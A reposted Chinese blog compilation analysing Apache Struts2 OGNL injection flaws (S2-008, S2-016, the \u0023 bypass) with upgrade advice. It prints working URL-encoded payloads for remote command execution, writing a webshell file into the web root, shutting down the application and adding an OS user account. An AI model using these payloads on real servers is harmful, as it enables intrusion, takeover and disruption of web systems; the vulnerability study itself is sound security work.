struts 2 漏洞学习总结

struts 2 漏洞学习总结struts2最近几个漏洞分析&稳定利用payloadhttp://drops.wooyun.org/papers/9020×00背景看到网上关于struts2利用的文章非常多,但是对于漏洞触发跟踪分析的文档比较少,闲来无事跟踪了一下struts最近吵得比较火的两个漏洞,研究了一下能够稳定利用的payload。0x01S2-008

大家好,又见面了,我是你们的朋友全栈君。

struts2最近几个漏洞分析&稳定利用payload

http://drops.wooyun.org/papers/902

0x00 背景

看到网上关于struts2利用的文章非常多,但是对于漏洞触发跟踪分析的文档比较少,闲来无事跟踪了一

下struts最近吵得比较火的两个漏洞,研究了一下能够稳定利用的payload。

0x01 S2-008

Struts2框架存在一个devmode模式,方便开发人员调试程序,但是默认devmode是不开启的,如果想要使

用,需要手动修改参数,可以将struts.properties中的devmode设置为true,或是在struts.xml中添加

如下代码,

<constant name=”struts.devMode” value=”true” /> 

实际上devmode依赖于struts2底层的struts2-core.jar中的DebuggingInterceptor.java实现,然后漏洞

也存在于此程序中。这里我以debug=command这个逻辑下,测试漏洞,我的POC如下所示:

http://localhost:8080/S2-016/hello.action?debug=command&expression= %23context%5b

%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d

%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c

%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a

%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b

%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b

%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get

%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c

%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29 

首先,这里是devmode的几种模式,

enter image description here

继续跟踪DebuggingInterceptor.java的代码,发现问题出在下面这个逻辑当中

enter image description here

跟踪参数如图

enter image description here

可以看到这里

String cmd = getParameter(EXPRESSION_PARAM); 

… 

writer.print(stack.findValue(cmd)); 

这里cmd没做任何处理,后面直接findValue(findValue能够执行OGNL表达式,具体参考官方文档),导

致OGNL表达式执行。

关于这个漏洞执行,其实没什么好说的,关键是这个payload调用java反射类(可以访问一些私有成员变

量)绕过了struts2限制执行java静态方法的规则法的规则,使之前apache官方的修复又白费了。因为

struts2在2.3.14.1版本之后便设置#_memberAccess[“allowStaticMethodAccess”]为不可修改,而要

调用java静态方法,必须要设置allowStaticMethodAccess为true才可以。这里使用

#f = #_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess’)

#f.setAccessible(true) 

#f.set(#_memberAccess, true) 

这里使用java的反射机制绕过了限制。另外,还有利用java.lang.ProcessBuilder类的start()方法来实

现(ProcessBuilder类是用来创建系统进程的,每个实例管理一个进程属性集合,start方法用来创建一

个新的进程实例,并且可以从相同的实例中反复多次的初始化、创建子进程。随便构造一个

java.lang.ProcessBuilder的实例,然后调用它的start()方法,便达到命令执行的目的),但这个算是

另一种思路,并没有从根本上修改#_memberAccess[“allowStaticMethodAccess”]的值。

0x02 S2-016

在struts2中,DefaultActionMapper类支持以”action:”、”redirect:”、”redirectAction:”作为导航或

是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利

用OGNL表达式调用java静态方法执行任意系统命令。

这里以“redirect:”前缀举例,struts2会将“redirect:”前缀后面的内容设置到redirect.location

当中,这里我们一步步跟踪,首先是这个getMapping函数跟入

enter image description here

这里一直到这个handleSpecialParameters(),继续跟入

enter image description here

enter image description here

这里真正传入OGNL表达式是在这个parameterAction.execute()中,继续跟入来到

DefaultActionMapper.java的代码

enter image description here

这里key.substring(REDIRECT_PREFIX.length())便是前缀后面的内容也就是OGNL表达式,struts2会调

用setLocation方法将他设置到redirect.location中。然后这里调用mapping.setResult(redirect)将

redirect对象设置到mapping对象中的result里,如图所示

enter image description here

然而上面的过程只是传递OGNL表达式,真正执行是在后面,这里是在FilterDispatcher类中的

dispatcher.serviceAction()方法,这里的mapping对象中设置了传入的OGNL

enter image description here

这里跟入方法最终会在TextParseUtil这个类的调用stack.findValue()方法执行OGNL。

enter image description here

0x03 PAYLOAD

这里我结合之前几个漏洞凑出一个通用payload,目前测试还是很稳定的

命令执行

%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d

%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c

%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a

%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b

%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b

%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get

%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c

%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

Getshell

%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d

%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c

%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d

%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%29%2c%23b

%3dnew+java.io.FileOutputStream%28new%20java.lang.StringBuilder%28%23a.getRealPath%28%22/

%22%29%29.append%28@java.io.File@separator%29.append%28%23a.getParameter%28%22name

%22%29%29.toString%28%29%29%2c%23b.write%28%23a.getParameter%28%22t%22%29.getBytes

%28%29%29%2c%23b.close%28%29%2c%23genxor%3d%23context.get

%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c

%23genxor.println%28%22BINGO%22%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

同时在之前的struts2exp这个程序基础上修改出一个exp,整合了近几年出现的几个高危漏洞,

enter image description here

程序先不公开放出,大家可以自己用语句测试自己的服务器是否有该问题。

========

struts2安全漏洞

struts2漏洞一般指struts2安全漏洞

Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站。

目录

1 背景

2 内容

3 造成的影响:

4 应对措施:

背景

Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站。

内容

在2013年6月底发布的Struts 2.3.15版本被曝出存在重要的安全漏洞[1]  ,主要问题如下:

可远程执行服务器脚本代码[2] 

用户可以构造http://host/struts2-blank/example/X.action?action:%25{(new

+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,’goes’,’here’})).start()}链接,

command goes here可以换成是破坏脚本的路径和参数,比如fdisk -f等,造成破环系统无法运行的目的



重定向漏洞 

用户可以构造如知名网站淘宝的重定向连接,形如<a href=”http://www.淘宝.com/item00001.html?

redirect:http://黑客/getyourPassword”>打折新款</a>,引导用户点击后进入钓鱼网站,在界面上让其

进行登陆用以获取用户的密码。

造成的影响:

苹果、中国移动、中国联通、百度、腾讯、淘宝、京东、Sohu、民生银行等大型企业的网站均遭毒手,

运维 工程师苦不堪言。

应对措施:

Apache团队紧急发布了Struts 2.3.15.1安全更新版本,可升级到此版本来解决上述问题。

========

struts2漏洞攻击方法与解决方案

http://blog.csdn.net/jakey766/article/details/7973965

近来多数网站被利用struts2漏洞攻击:

http://www.cww.net.cn/tech/html/2012/7/12/201271291781936.htm

1、原理

Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的

参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:

?user.address.city=Bishkek&user[‘favoriteDrink’]=kumys  

ONGL将它转换为:

action.getUser().getAddress().setCity(“Bishkek”)   

action.getUser().setFavoriteDrink(“kumys”)  

这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 

ValueStack.setValue()。

为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使

用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:

此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击

?(‘\u0023_memberAccess[\’allowStaticMethodAccess\’]’)(meh)=true&(aaa)((‘\u0023context

[\’xwork.MethodAccessor.denyMethodExecution\’]\u003d\u0023foo’)(\u0023foo\u003dnew

%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt

\u003d@java.lang.Runtime@getRuntime()))=1  

转义后是这样:

?(‘#_memberAccess[‘allowStaticMethodAccess’]’)(meh)=true&(aaa)((‘#context

[‘xwork.MethodAccessor.denyMethodExecution’]=#foo’)(#foo=new%20java.lang.Boolean

(“false”)))&(asdf)((‘#rt.exit(1)’)(#rt=@java.lang.Runtime@getRuntime()))=1  

OGNL处理时最终的结果就是

java.lang.Runtime.getRuntime().exit(1);  //关闭程序,即将web程序关闭

类似的可以执行

java.lang.Runtime.getRuntime().exec(“net user 用户名 密码 /add”);//增加操作系统用户,在有权

限的情况下能成功(在URL中用%20替换空格,%2F替换/)

只要有权限就可以执行任何DOS命令。

2、解决方法

网上很多文章都介绍了三种解决方法,个人觉得将struts2的jar包更新到最新版本最简单,不用更改任

何程序代码,目前最新版本2.3.4

下载到的更新包中有很多jar包,我系统中主要用到以下几个替换掉旧版本的:

commons-lang3-3.1.jar        (保留commons-lang-2.6.jar)

javassist-3.11.0.GA.jar        (新加包)

ognl-3.0.5.jar            (替换旧版本)

struts2-core-2.3.4.1.jar    (替换旧版本)

xwork-core-2.3.4.1.jar        (替换旧版本)

本文大部分内容复制于其他文章:

http://my-corner.iteye.com/blog/720209

========

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/161722.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 【⚠️windows删除文件夹抽风了⚠️】“错误0x80070091:目录不是空的”问题处理

    有时候我们想要删除一些无用的文件,但是删除的时候缺发现无法删除文件提示“错误0x80070091:目录不是空的”的问题,下面小编就详细的为大家介绍无法删除空文件夹提示“错误0x80070091:目录不是空的”通用解决方法。具体解决方法如下:1、首先呢,我们随便复制一个文件。(比如我复制自己桌面这个图片)2、“BT”这个文件夹根目录有两个文件夹。3、打开第一个文件夹,一直打开到最后一个文件夹,粘贴之前复制的文件。4、打开第二个文件…

    2022年4月9日
    223
  • STM32F103驱动无刷直流电机应用思路「建议收藏」

    STM32F103驱动无刷直流电机应用思路「建议收藏」一、STM32F103驱动无刷直流电机基本思路无刷电机控制是基于6步换相法如下图所示:二、STM32F103驱动无刷直流电机方法介绍通常我们用的方法是使用高级定时器3通道互补输出去驱动mos管,用通用定时器连接霍尔传感器去触发中断,在中断中换相,基本原理如下图所示:三、驱动代码编写/***********************************************************************Description:None*Input

    2022年10月7日
    4
  • Java 读写文件工具类

    Java 读写文件工具类今天简单写了一下读写文件用的工具类,方便后面开发或者测试时直接使用。importlombok.Cleanup;importjava.io.*;importjava.util.ArrayList;importjava.util.List;publicclassFileUtils{//逐行读取文件内容返回内容列表publicstaticList<String>readLine(Stringpath){List<Str

    2022年7月14日
    24
  • docker打开2375「建议收藏」

    docker打开2375「建议收藏」在进行dockerswarm进行管理集群节点时,需要打开端口。1、$pwd/etc/docker创建daemon.json$catdaemon.json{“hosts”:[“tcp://0.0.0.0:2375″,”unix:///var/run/docker.sock”]}2、cat/usr/lib/systemd/system/docker.servic…

    2022年4月29日
    166
  • 【ztree系列】树节点的模糊查询

    【ztree系列】树节点的模糊查询以前设计模糊查询的功能,一般都是针对表格来做的,还真没考虑过对tree进行模糊查询,也可能是因为遇到的数据量还没到头疼的程度吧。为了完美的实现模糊查询的效果,搞了半天css,对输入框显示效果的设置更是修改了n多次,什么半圆角、边框、光影。。。真佩服我这颗屡试屡换的小心脏啊一、页面设计对于搜索功能,首先要有输入框,用于接收输入内容;然后就是显示搜索结果用的标签,控制焦点用的上移下动按钮。其实

    2022年5月29日
    298
  • 关于ie下阻止ActiveX控件

    关于ie下阻止ActiveX控件
    最近,公司的项目上有个部分要用到ActiveX控件。可是在访问的时候,就会弹出”Internetexplorer已经阻止站点用不安全方式使用ActiveX控件”一句。查了好多资料,除了更改ie的安全设置,没有其他方法。
    更改ie安全设置,需要更改的几个地方:
    首先,Internet选项–>安全
    1.选中Internet –“自定义级别”– “ActiveX控件和插件 “–“对未标记为可安全执行脚本的ActiveX控件初始化并执行脚本”(启用

    2022年5月14日
    46

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号